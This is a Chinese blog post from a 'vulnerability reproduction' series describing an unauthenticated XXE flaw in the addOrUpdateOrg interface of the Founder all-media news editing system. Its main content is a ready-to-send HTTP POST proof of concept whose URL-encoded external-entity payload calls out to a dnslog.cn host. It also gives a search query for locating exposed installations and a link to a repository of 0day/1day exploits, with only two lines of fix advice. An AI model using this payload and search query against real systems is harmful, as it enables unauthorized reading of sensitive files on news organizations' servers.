【漏洞复现】方正畅享全媒体新闻采编系统 addOrUpdateOrg XXE漏洞

A 八方

于 2024-10-10 19:58:44 发布

阅读量491

点赞数 23

分类专栏：漏洞复现文章标签：媒体安全

本文链接：https://blog.csdn.net/qq_48368964/article/details/142830909

版权

漏洞复现专栏收录该内容

31 篇文章 0 订阅

订阅专栏

》》》产品描述《《《

方正畅享全媒体新闻生产系统是以内容资产为核心的智能化融合媒体业务平台，融合了报、网、端、微、自媒体分发平台等全渠道内容。该平台由协调指挥调度、数据资源聚合、融合生产、全渠道发布、智能传播分析、融合考核等多个平台组成，贯穿新闻生产策、采、编、发、存、传、评、营的每个环节,涵盖桌面端、移动端(超融合掌上编辑部)、大屏端三端联动进行编采业务支撑。平台通过大数据+Al的赋能，助力融媒体在内容生产、数据资产、报道指挥、绩效考核等业务环节,

》》》漏洞描述《《《

方正畅享全媒体新闻采编系统 addOrUpdateOrg 接口处存在XML实体注入漏洞，未经身份认证的攻击者可以利用此漏洞读取系统内部敏感文件，获取敏感信息，使系统处于极不安全的状态。

》》》搜索语句《《《

app="FOUNDER-全媒体采编系统"

》》》漏洞复现《《《

POC

POST /newsedit/api/orgUser/addOrUpdateOrg HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Content-Type: application/x-www-form-urlencoded
Connection: close
 
xmlStr=%3C!DOCTYPE%20root%20%5B%20%3C!ENTITY%20%25%20remote%20SYSTEM%20%22http://11111111111.m9cp0s.dnslog.cn%22%3E%20%25remote;%5D%3E

》》》修复建议《《《

关闭互联网暴露面或接口设置访问权限
升级至安全版本

-------------------------------------------------------------------------------------------------------------------------

-------------------------------------------------------------------------------------------------------------------------

更多最新0day/1day POC&EXP移步----->Kelichen1113/POC-EXP (github.com)

-------------------------------------------------------------------------------------------------------------------------

-------------------------------------------------------------------------------------------------------------------------